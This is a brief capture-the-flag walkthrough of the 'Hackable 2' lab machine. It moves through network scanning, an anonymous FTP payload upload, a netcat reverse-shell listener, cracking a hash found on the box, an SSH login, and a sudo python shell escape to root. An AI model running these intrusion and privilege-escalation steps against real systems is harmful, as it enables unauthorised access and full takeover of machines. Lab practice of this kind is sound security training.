# Hackable 2
## Network Scanning
We always start with network scanning, Let’s find the target IP address by running netdiscover.
┌─\[✗]─\[root\@RDX]─\[\~]\
└──╼ **#netdiscover -i wlan0**
> *As we saw in netdiscover result. Our target ip address is **192.168.118.166***
## Enumeration/Reconnaissance
Our next step is scanning the target machine. let’s start with nmap.
┌─\[✗]─\[root\@RDX]─\[\~]\
└──╼ #**nmap -v -sT 192.168.118.166 -p- -sV -A -O**
##
> **We have an FTP server that has allowed anonymous access and try to upload a payload.**
┌─\[root\@RDX]─\[\~]\
└──╼ #**ftp 192.168.118.166**
##
┌─\[root\@RDX]─\[\~]\
└──╼ #**nc -nlvp 443**
$ **id**
$ **cd /home**
$ **ls**
$ **cat important.txt**
now i got hash
> [https://hashtoolkit.com/decrypt-hash/](https://hashtoolkit.com/decrypt-hash/?hash=cf4c2232354952690368f1b3dfdfb24d)
[hash=**cf4c2232354952690368f1b3dfdfb24d**](https://hashtoolkit.com/decrypt-hash/?hash=cf4c2232354952690368f1b3dfdfb24d) = **onion**
┌─\[root\@RDX]─\[\~]\
└──╼ #**ssh shrek\@192.168.118.166**
shrek\@ubuntu:\~$ **ls**
shrek\@ubuntu:\~$ **cat user.txt**
## Privilege Escalation
shrek\@ubuntu:\~$ **sudo -l**
shrek\@ubuntu:\~$ **sudo python3.5 -c ‘import os; os.system(“/bin/sh”)’**\
\# **id**\
\# **cd /root**\
\# **ls**\
\# **cat root.txt**
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